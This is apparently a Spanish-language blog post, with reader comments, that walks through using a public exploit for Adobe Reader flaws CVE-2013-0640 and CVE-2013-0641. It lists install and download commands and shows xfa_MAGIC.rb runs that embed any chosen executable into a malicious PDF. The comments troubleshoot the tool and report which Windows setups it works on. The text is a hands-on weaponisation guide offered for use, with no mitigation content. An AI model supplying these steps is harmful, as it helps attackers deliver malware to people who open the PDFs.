Exploit para Adobe Acrobat Reader con evasión de sandbox y de ASLR/DEP

A mediados de febrero de este año y en varias campañas de malware se utilizó un 0-day para las últimas versiones de Adobe Reader por el cual un atacante podía provocar un desbordamiento de buffer y ejecutar código arbitrariamente mediante un PDF malicioso especialmente modificado.

Hoy, las dos vulnerabilidades ya tienen su CVE asignado (CVE-2013-0640 y CVE-2013-0641) y @w3bd3vil y @abh1sek han rescatado de un foro ruso y adaptado un exploit que es capaz de evadir ASLR/DEP y el sandbox de la aplicación.
Afecta a las versiones 11.0.1, 11.0.0, 10.1.5, 10.1.4, 10.1.3, 10.1.2, 10.1 y 9.5 de Adobe Acrobat Reader y funciona bajo Windows 7 (32 y 64bit) y XP.

Para probarlo nada más sencillo. Primero necesitamos instalar Ruby 1.9 (http://dl.bintray.com/oneclick/rubyinstaller/rubyinstaller-1.9.3-p484.exe?direct) y las gemas origami y metasm:

d:\Ruby193\bin\gem.bat install metasm
d:\Ruby193\bin\gem.bat install origami -v "=1.2.5"


Luego descargamos el exploit (http://www.exploit-db.com/sploits/29881.tar.gz) y lo descomprimimos, lo desempaquetamos y echamos un vistazo a sus parámetros y uso:

D:\Hacking\Exploits\29881>d:\Ruby193\bin\ruby.exe xfa_MAGIC.rb
Usage: xfa_MAGIC.rb [options]
    -i, --input [FILE]               Input PDF. If provided, exploit will be injected into it (optional)
    -p, --payload [FILE]             PE executable to embed in the payload
        --low-mem                    Use Heap spray suitable for low memory environment
    -o, --output [FILE]              File path to write output PDF
    -h, --help  
                     Show help

Después simplemente seleccionamos nuestro ejecutable PE para el payload (máximo 114688 bytes) y el nombre del fichero PDF:

D:\Hacking\Exploits\29881>d:\Ruby193\bin\ruby.exe xfa_MAGIC.rb -p prueba.exe -o poc.pdf
[+] Loading package
[+] Embedding user executable (size: 18944)
[+] Encoding payload (key: 249 kii: 251)
[+] Generating file: poc.pdf

 
Buen fin de semana y happy hacking!

8 comentarios :

  1. I get this error:

    [+] Loading package
    xfa_MAGIC.rb:126:in `binread': No such file or directory - ./data/beast.pkg (Err
    no::ENOENT)
    from xfa_MAGIC.rb:126:in `package_load'
    from xfa_MAGIC.rb:203:in `'

    Any idea where the beast.pkg can be found?

    ResponderEliminar
  2. exists in the correct path ./data/beast.pkg?

    unzip the exploit entire content..

    ResponderEliminar
  3. No me funciona… intente con la versión 10 – 10.1.4 y la 11.0.0 adjunto un dropper de 2 kb … alguna idea???

    ResponderEliminar
  4. qué error te da? cual es la versión y el idioma del SO que usas?

    ResponderEliminar
  5. Puedo generar el PDF sin errores, el problema es que no me funciona con las versiones de adobe mencionadas. Intente en XP como en 7, puede ser que sea el problema del idioma... ya que ambos estan en español.

    ResponderEliminar
  6. Vicente, vos pudiste correrlo?

    ResponderEliminar
  7. En casa con Win7 en inglés y 32bits funcionó perfectamente..

    Sin embargo tenéis razón, en 64bits y en español parece no tirar, no se si por la arquitectura o el idioma, ummmmm...

    ResponderEliminar
  8. Gracias por confirmar, el problema no se encuentra en el idioma del adobe, si no en el SO entonces. Este exploit es una frutilla.. }:)

    ResponderEliminar